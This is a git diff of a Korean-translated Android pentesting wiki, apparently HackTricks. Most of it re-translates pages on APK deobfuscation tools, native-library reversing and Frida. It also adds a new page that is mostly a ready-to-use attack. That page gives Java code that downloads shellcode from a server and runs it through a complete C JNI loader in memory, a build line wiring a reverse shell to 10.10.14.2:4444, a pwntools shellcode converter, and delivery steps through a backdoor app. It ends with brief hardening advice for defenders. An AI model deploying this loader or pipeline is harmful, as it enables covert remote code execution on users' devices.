도구를 사용하여 Java 및 Smali 코드를 추출합니다. -- 다음을 사용해 APK를 분석합니다: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- regexps를 사용해 APK에서 private 정보를 추출합니다. +- 다양한 도구를 사용해 Java 및 Smali 코드를 추출합니다 +- 다음 도구들을 사용해 APK를 분석합니다: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- regexps를 사용하여 APK에서 개인 정보를 추출합니다. - Manifest를 분석합니다. -- 다음을 사용해 발견된 도메인을 분석합니다: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- [apk-deguard.com](http://www.apk-deguard.com)을 통해 APK 난독화 해제(deobfuscate)를 시도합니다. +- 발견된 도메인을 다음 도구들로 분석합니다: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- APK의 난독화를 [apk-deguard.com](http://www.apk-deguard.com) 을 통해 해제할 수 있습니다 ### Koodous 악성코드 탐지에 유용: [https://koodous.com/](https://koodous.com/) -## Obfuscating/Deobfuscating code +## 코드 난독화/난독화 해제 -사용하는 서비스와 구성에 따라 코드가 난독화될 때 비밀(Secrets)이 난독화되지 않거나 난독화될 수 있다는 점에 유의하세요. +코드를 난독화하는 데 사용하는 서비스와 구성에 따라 시크릿이 난독화되거나 그렇지 않을 수 있다는 점에 유의하세요. ### [ProGuard]() -From [Wikipedia](): **ProGuard**는 Java 코드를 축소(shrink), 최적화(optimize), 난독화(obfuscate)하는 오픈 소스 커맨드라인 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령을 탐지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU General Public License, version 2 하에 배포됩니다. +From [Wikipedia](): **ProGuard**는 Java 코드를 축소(shrink), 최적화(optimize) 및 난독화(obfuscate)하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령을 탐지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU General Public License 버전 2 하에 배포됩니다. -ProGuard는 Android SDK의 일부로 배포되며 release 모드로 애플리케이션을 빌드할 때 실행됩니다. +ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다. ### [DexGuard](https://www.guardsquare.com/dexguard) APK 난독화 해제에 대한 단계별 가이드는 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 확인하세요. -(해당 가이드에서) 마지막으로 확인했을 때 Dexguard의 동작 방식은 다음과 같았습니다: +(해당 가이드에서) 마지막으로 확인했을 때, Dexguard의 동작 방식은 다음과 같았습니다: - 리소스를 InputStream으로 로드합니다; - 결과를 FilterInputStream을 상속한 클래스에 전달하여 복호화합니다; -- 리버서의 시간을 조금 낭비시키기 위해 쓸데없는 난독화를 수행합니다; +- 리버서의 시간을 몇 분 낭비시키기 위해 불필요한 난독화 작업을 합니다; - 복호화된 결과를 ZipInputStream에 전달하여 DEX 파일을 얻습니다; -- 마지막으로 결과 DEX를 `loadDex` 메서드를 사용해 Resource로 로드합니다. +- 마지막으로 `loadDex` 메서드를 사용해 생성된 DEX를 Resource로 로드합니다. ### [DeGuard](http://apk-deguard.com) -**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역으로 수행합니다. 이를 통해 코드 검사와 라이브러리 예측 등 다양한 보안 분석이 가능해집니다.** +**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측 등 다양한 보안 분석이 가능해집니다.** -난독화된 APK를 플랫폼에 업로드할 수 있습니다. +난독화된 APK를 해당 플랫폼에 업로드할 수 있습니다. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. +이 도구는 LLM을 사용해 android 앱의 잠재적 보안 취약점을 찾고 android 앱 코드를 난독화 해제하는 도구입니다. Google의 Gemini public API를 사용합니다. ### [Simplify](https://github.com/CalebFenton/simplify) -이는 일반적인 android deobfuscator입니다. Simplify는 앱을 사실상 실행(virtually executes)하여 동작을 이해한 뒤, 사람이 이해하기 쉽도록 동일한 동작을 유지하면서 코드를 최적화하려고 시도합니다. 각 최적화 유형은 단순하고 일반적이므로 사용된 특정 난독화 유형이 무엇이든 상관없습니다. +이는 **범용 android 난독화 해제기**입니다. Simplify는 앱을 **가상으로 실행**하여 동작을 이해한 뒤, 동작은 동일하게 유지하면서 사람이 이해하기 쉽게 **코드를 최적화하려고 시도합니다**. 각 최적화 유형은 단순하고 일반적이므로 특정 난독화 기법이 무엇인지에 상관없이 적용됩니다. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD는 APK가 어떻게 만들어졌는지에 대한 정보를 제공합니다. 많은 컴파일러, packer, obfuscator 및 기타 이상한 것들을 식별합니다. Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)입니다. +APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합니다. 많은 **컴파일러**, **패커**, **난독화 도구**, 기타 이상한 것들을 식별합니다. Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)입니다. ### Manual [Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) -## Labs +## 실습 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b는 Ubuntu MATE 기반의 Android 보안 가상머신으로, 리버스 엔지니어링 및 멀웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 랩 컬렉션을 포함합니다. 보안 연구자들과 다양한 기여자들의 자료를 포함하고 있습니다. +AndroL4b는 ubuntu-mate 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 맬웨어 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습 모음을 포함합니다. -## References +## 참고자료 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 훌륭한 리소스 목록입니다 -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 빠른 코스 +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 좋은 자료 모음입니다 +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 빠른 강좌 - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - -## Yet to try - -- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) -- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) +- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md new file mode 100644 index 000000000..9735f61d3 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md @@ -0,0 +1,121 @@ +# Android에서 JNI를 통한 In-Memory Native Code Execution (shellcode) + +{{#include ../../banners/hacktricks-training.md}} + +이 페이지는 untrusted Android 앱 프로세스에서 JNI를 사용해 네이티브 페이로드를 완전히 메모리 내에서 실행하는 실무 패턴을 문서화합니다. 이 흐름은 디스크에 네이티브 바이너리를 생성하지 않습니다: raw shellcode 바이트를 HTTP(S)로 다운로드하고, 이를 JNI 브리지로 전달한 다음 RX 메모리를 할당하고 점프합니다. + +왜 중요한가 +- 포렌식 아티팩트 감소 (디스크에 ELF 없음) +- ELF exploit binary에서 생성된 “stage-2” native payloads와 호환 +- modern malware 및 red teams가 사용하는 tradecraft와 일치 + +High-level pattern +1) Java/Kotlin에서 shellcode 바이트를 가져옴 +2) 바이트 배열을 인자로 native method (JNI)를 호출 +3) JNI 내부: RW 메모리 할당 → 바이트 복사 → mprotect로 RX로 변경 → entrypoint 호출 + +Minimal example + +Java/Kotlin side +```java +public final class NativeExec { +static { System.loadLibrary("nativeexec"); } +public static native int run(byte[] sc); +} + +// Download and execute (simplified) +byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); +int rc = NativeExec.run(sc); +``` +C JNI 측 (arm64/amd64) +```c +#include +#include +#include +#include + +static inline void flush_icache(void *p, size_t len) { +__builtin___clear_cache((char*)p, (char*)p + len); +} + +JNIEXPORT jint JNICALL +Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { +jsize len = (*env)->GetArrayLength(env, sc); +if (len <= 0) return -1; + +// RW anonymous buffer +void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +if (buf == MAP_FAILED) return -2; + +jboolean isCopy = 0; +jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); +if (!bytes) { munmap(buf, len); return -3; } + +memcpy(buf, bytes, len); +(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); + +// Make RX and execute +if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } +flush_icache(buf, len); + +int (*entry)(void) = (int (*)(void))buf; +int ret = entry(); + +// Optional: restore RW and wipe +mprotect(buf, len, PROT_READ | PROT_WRITE); +memset(buf, 0, len); +munmap(buf, len); +return ret; +} +``` +참고 및 주의사항 +- W^X/execmem: 최신 Android는 W^X를 적용합니다; 익명 PROT_EXEC 매핑은 JIT가 있는 앱 프로세스에 대해 (SELinux 정책에 따름) 일반적으로 여전히 허용됩니다. 일부 기기/ROM은 이를 제한할 수 있으므로, 필요 시 JIT-allocated exec pools 또는 native bridges로 대체하세요. +- Architectures: shellcode 아키텍처가 기기와 일치하는지 확인하세요(일반적으로 arm64-v8a; x86은 에뮬레이터에서만). +- Entrypoint contract: shellcode 진입 규약(인수 없음 vs 구조체 포인터)을 결정하세요. position-independent (PIC)로 유지하세요. +- Stability: 점프하기 전에 instruction cache를 지우세요; 캐시 불일치는 ARM에서 크래시를 일으킬 수 있습니다. + +패키징: ELF → position‑independent shellcode +안정적인 운영 파이프라인은 다음과 같습니다: +- exploit을 musl-gcc로 static ELF로 빌드하세요 +- ELF를 pwntools’ shellcraft.loader_append를 사용해 self‑loading shellcode blob으로 변환하세요 + +빌드 +```bash +musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +ELF를 raw shellcode로 변환 (amd64 예제) +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +loader = shellcraft.loader_append(elf.data, arch='amd64') +sc = asm(loader) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") +``` +왜 loader_append가 작동하는가: 이는 내장된 ELF 프로그램 세그먼트를 메모리에 매핑하고 그 entrypoint로 제어를 전달하는 작은 로더를 생성하여, 앱이 memcpy’ed하여 실행할 수 있는 단일 raw blob을 제공합니다. + +Delivery +- 자신이 제어하는 HTTP(S) 서버에 sc를 호스트한다 +- 백도어/테스트 앱이 sc를 다운로드하고 위에 나온 JNI 브리지를 호출한다 +- 커널/유저 모드 페이로드가 생성하는 리버스 연결을 수신하기 위해 운영자 머신에서 대기한다 + +Validation workflow for kernel payloads +- 빠른 리버싱/오프셋 복구를 위해 symbolized vmlinux를 사용한다 +- 가능하면 편리한 debug 이미지에서 primitives를 프로토타이핑하되, 항상 실제 Android 대상에서 재검증해야 한다 (kallsyms, KASLR slide, page-table layout, and mitigations differ) + +Hardening/Detection (blue team) +- 가능한 경우 앱 도메인에서 anonymous PROT_EXEC을 금지한다 (SELinux policy) +- 엄격한 코드 무결성을 적용한다 (no dynamic native loading from network) 및 업데이트 채널을 검증한다 +- RX로의 의심스러운 mmap/mprotect 전환 및 점프 전에 일어나는 대용량 바이트-배열 복사를 모니터링한다 + +References +- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) +- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) +- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) +- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) +- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 5326ee757..dbe167483 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,16 +1,16 @@ -# 네이티브 라이브러리 리버싱 +# Reversing 네이티브 라이브러리 {{#include ../../banners/hacktricks-training.md}} -**자세한 정보:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) +**추가 정보:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Android 앱은 일반적으로 성능이 중요한 작업을 위해 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성 코드 제작자들도 ELF shared objects가 DEX/OAT 바이트코드보다 디컴파일하기 더 어렵기 때문에 이러한 라이브러리를 악용합니다. -이 페이지는 Android `.so` 파일 리버싱을 더 쉽게 만드는 *실용적인* 워크플로우와 *최신* 도구 개선사항(2023-2025)에 중점을 둡니다. +Android 앱은 성능에 민감한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있다. 악성코드 제작자들도 이러한 라이브러리를 악용하는데, ELF shared objects는 여전히 DEX/OAT 바이트코드보다 디컴파일하기 더 어렵기 때문이다. +이 페이지는 Android `.so` 파일 리버싱을 더 쉽게 만드는 *실용적* 워크플로우와 *최근(2023-2025)* 툴 개선 사항에 중점을 둔다. --- -### 새로 확보한 `libfoo.so`에 대한 빠른 분류 워크플로우 +### 신규로 추출한 `libfoo.so`에 대한 빠른 트리아지 워크플로우 1. **라이브러리 추출** ```bash @@ -19,7 +19,7 @@ adb shell "run-as cat lib/arm64-v8a/libfoo.so" > libfoo.so # Or from the APK (zip) unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/ ``` -2. **아키텍처 및 보호 식별** +2. **아키텍처 및 보호 설정 확인** ```bash file libfoo.so # arm64 or arm32 / x86 readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc. @@ -30,21 +30,21 @@ checksec --file libfoo.so # (peda/pwntools) readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI ``` -4. **디컴파일러에서 로드** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) 및 자동 분석 실행. -신규 Ghidra 버전은 AArch64 decompiler가 PAC/BTI stubs 및 MTE tags를 인식하도록 도입되어 Android 14 NDK로 빌드된 라이브러리 분석이 크게 향상되었습니다. -5. **정적 vs 동적 리버싱 결정:** 스트립되었거나 난독화된 코드는 종종 *instrumentation*(Frida, ptrace/gdbserver, LLDB)이 필요합니다. +4. **디컴파일러에 로드** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) 및 자동 분석 실행. +최근 Ghidra 버전은 AArch64 decompiler를 도입했으며, PAC/BTI stubs와 MTE tags를 인식하여 Android 14 NDK로 빌드된 라이브러리의 분석을 크게 개선한다. +5. **정적 vs 동적 reversing 결정:** 스트립되거나 난독화된 코드는 종종 *instrumentation* (Frida, ptrace/gdbserver, LLDB)이 필요하다. --- ### Dynamic Instrumentation (Frida ≥ 16) -Frida의 16 시리즈는 대상이 최신 Clang/LLD 최적화를 사용할 때 도움이 되는 여러 Android 전용 개선사항을 도입했습니다: +Frida의 16 시리즈는 대상이 최신 Clang/LLD 최적화를 사용할 때 도움이 되는 여러 Android 특정 개선을 가져왔다: -* `thumb-relocator`은 이제 LLD의 aggressive alignment(`--icf=all`)로 생성된 *hook tiny ARM/Thumb functions*를 처리할 수 있습니다. -* Android에서 *ELF import slots*의 열거 및 재바인딩이 작동하여, inline hooks가 거부될 때 모듈별 `dlopen()`/`dlsym()` 패치가 가능해졌습니다. -* 앱이 Android 14에서 `--enable-optimizations`로 컴파일될 때 사용되는 새로운 **ART quick-entrypoint**를 위한 Java hooking이 수정되었습니다. +* `thumb-relocator`는 이제 LLD의 공격적 정렬(`--icf=all`)로 생성된 작은 ARM/Thumb 함수를 *hook*할 수 있다. +* *ELF import slots*를 열거하고 재바인딩하는 기능이 Android에서 동작하여, 인라인 훅이 거부될 때 모듈별 `dlopen()`/`dlsym()` 패칭을 가능하게 한다. +* Android 14에서 `--enable-optimizations`로 컴파일된 앱에서 사용되는 새로운 **ART quick-entrypoint**에 대한 Java hooking이 수정되었다. -예: `RegisterNatives`를 통해 등록된 모든 함수를 열거하고 런타임에 그 주소를 덤프하기: +예시: `RegisterNatives`를 통해 등록된 모든 함수를 열거하고 런타임에 그 주소를 덤프하기: ```javascript Java.perform(function () { var Runtime = Java.use('java.lang.Runtime'); @@ -61,27 +61,27 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met }); }); ``` -Frida는 PAC/BTI-enabled 장치(Pixel 8/Android 14+)에서 frida-server 16.2 이상을 사용하면 바로 동작합니다 – 이전 버전은 inline hooks용 패딩을 찾지 못했습니다. +Frida는 PAC/BTI-enabled 기기(Pixel 8/Android 14+)에서 frida-server 16.2 이상을 사용하면 별도 설정 없이 동작합니다 — 이전 버전은 inline hooks의 패딩을 찾지 못했습니다. ### Process-local JNI telemetry via preloaded .so (SoTap) -완전한 instrumentation이 과하거나 차단된 경우, 대상 프로세스 내부에 작은 로거를 사전 로드하여 네이티브 수준의 가시성을 확보할 수 있습니다. SoTap은 동일 앱 프로세스 내 다른 JNI (.so) 라이브러리의 런타임 동작을 기록하는 경량 Android 네이티브(.so) 라이브러리입니다(루트 불필요). +전체 기능의 계측(instrumentation)이 과하거나 차단된 경우, 대상 프로세스에 작은 로거를 사전 로드해 네이티브 수준의 가시성을 확보할 수 있습니다. SoTap는 동일 앱 프로세스 내의 다른 JNI(.so) 라이브러리들의 런타임 동작을 로깅하는 경량 Android 네이티브(.so) 라이브러리입니다 (루트 불필요). Key properties: -- Initializes early and observes JNI/native interactions inside the process that loads it. -- Persists logs using multiple writable paths with graceful fallback to Logcat when storage is restricted. -- Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI. +- 초기에 초기화되며, 그것을 로드한 프로세스 내에서의 JNI/native 상호작용을 관찰합니다. +- 여러 쓰기 가능한 경로에 로그를 지속적으로 저장하며, 저장소 제약이 있을 때는 Logcat으로 우아하게 fallback합니다. +- Source-customizable: sotap.c를 편집해 로깅 대상을 확장/조정하고 ABI별로 재빌드하세요. Setup (repack the APK): -1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so: +1) 로더가 libsotap.so를 해석할 수 있도록 APK에 적절한 ABI 빌드를 넣습니다: - lib/arm64-v8a/libsotap.so (for arm64) - lib/armeabi-v7a/libsotap.so (for arm32) -2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example: +2) SoTap가 다른 JNI 라이브러리보다 먼저 로드되도록 하세요. 로거가 먼저 초기화되도록 초기에 호출을 삽입합니다(예: Application subclass static initializer 또는 onCreate). Smali snippet example: ```smali const-string v0, "sotap" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V ``` -3) Rebuild/sign/install, run the app, then collect logs. +3) 재빌드/서명/설치 후 앱을 실행하고 로그를 수집하세요. Log paths (checked in order): ``` @@ -92,38 +92,48 @@ Log paths (checked in order): # If all fail: fallback to Logcat only ``` Notes and troubleshooting: -- ABI 정렬은 필수입니다. 불일치는 UnsatisfiedLinkError 를 발생시키고 logger 가 로드되지 않습니다. -- 저장 공간 제약은 현대 Android 에서 흔합니다; 파일 쓰기가 실패하면 SoTap 은 여전히 Logcat 을 통해 출력합니다. -- 동작/출력 수준(verbosity)은 사용자화하도록 설계되었습니다; sotap.c 를 편집한 뒤 소스에서 다시 빌드하세요. +- ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger won’t load. +- Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat. +- Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c. -이 접근법은 프로세스 시작 시점부터 네이티브 호출 흐름을 관찰해야 하는 malware 정리(malware triage)와 JNI 디버깅에 유용합니다. 특히 root/시스템 전체 훅이 불가능한 경우에 중요합니다. +This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available. + +--- + +### See also: in‑memory native code execution via JNI + +A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here: + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} --- ### Recent vulnerabilities worth hunting for in APKs -| Year | CVE | Affected library | Notes | +| 연도 | CVE | 영향받는 라이브러리 | 설명 | |------|-----|------------------|-------| -|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|네이티브 코드에서 WebP 이미지를 디코드할 때 도달 가능한 힙 버퍼 오버플로우. 여러 Android 앱이 취약한 버전을 번들링합니다. APK 내부에 `libwebp.so` 가 보이면 버전을 확인하고 익스플로잇 또는 패치 시도를 하세요.| | -|2024|Multiple|OpenSSL 3.x series|여러 메모리 안전성 및 padding-oracle 이슈. 많은 Flutter & ReactNative 번들들이 자체 `libcrypto.so` 를 포함해 배포됩니다.| +|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|WebP 이미지를 디코딩하는 네이티브 코드에서 도달 가능한 힙 버퍼 오버플로우. 여러 Android 앱이 취약한 버전을 번들합니다. APK 내부에 `libwebp.so`가 보이면 버전을 확인하고 exploitation 또는 패치를 시도하세요.| | +|2024|Multiple|OpenSSL 3.x series|여러 메모리 안전성 및 padding-oracle 문제. 많은 Flutter & ReactNative 번들들이 자체 `libcrypto.so`를 탑재합니다.| -APK 내부에서 *타사(third-party)* `.so` 파일을 발견하면 항상 해당 해시를 upstream advisory 와 대조하세요. 모바일에서는 SCA (Software Composition Analysis) 가 드물어 오래된 취약 빌드가 널리 존재합니다. +When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant. --- ### Anti-Reversing & Hardening trends (Android 13-15) -* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 은 지원되는 ARMv8.3+ 실리콘에서 시스템 라이브러리에 PAC/BTI 를 활성화합니다. 디컴파일러는 이제 PAC 관련 의사 명령(pseudo-instructions)을 표시합니다; 동적 분석을 위해 Frida 는 PAC 를 제거한 후 트램폴린을 주입하지만, 커스텀 트램폴린은 필요한 경우 `pacda`/`autibsp` 를 호출해야 합니다. -* **MTE & Scudo hardened allocator:** memory-tagging 은 옵트인(opt-in) 이지만 많은 Play-Integrity 인식 앱들이 `-fsanitize=memtag` 로 빌드합니다; 태그 폴트를 캡처하려면 `setprop arm64.memtag.dump 1` 과 `adb shell am start ...` 를 사용하세요. -* **LLVM Obfuscator (opaque predicates, control-flow flattening):** 상용 패커들(예: Bangcle, SecNeo) 이 점점 더 *네이티브* 코드도 보호합니다. `.rodata` 에서 가짜 제어 흐름과 암호화된 문자열 블롭을 예상하세요. +* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 enables PAC/BTI in system libraries on supported ARMv8.3+ silicon. Decompilers now display PAC‐related pseudo-instructions; for dynamic analysis Frida injects trampolines *after* stripping PAC, but your custom trampolines should call `pacda`/`autibsp` where necessary. +* **MTE & Scudo hardened allocator:** memory-tagging is opt-in but many Play-Integrity aware apps build with `-fsanitize=memtag`; use `setprop arm64.memtag.dump 1` plus `adb shell am start ...` to capture tag faults. +* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) increasingly protect *native* code, not only Java; expect bogus control-flow and encrypted string blobs in `.rodata`. --- ### Resources -- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) -- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) -- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) +- **ARM 어셈블리 학습:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) +- **JNI & NDK 문서:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) +- **네이티브 라이브러리 디버깅:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) ### References @@ -132,5 +142,6 @@ APK 내부에서 *타사(third-party)* `.so` 파일을 발견하면 항상 해 - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) - How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}}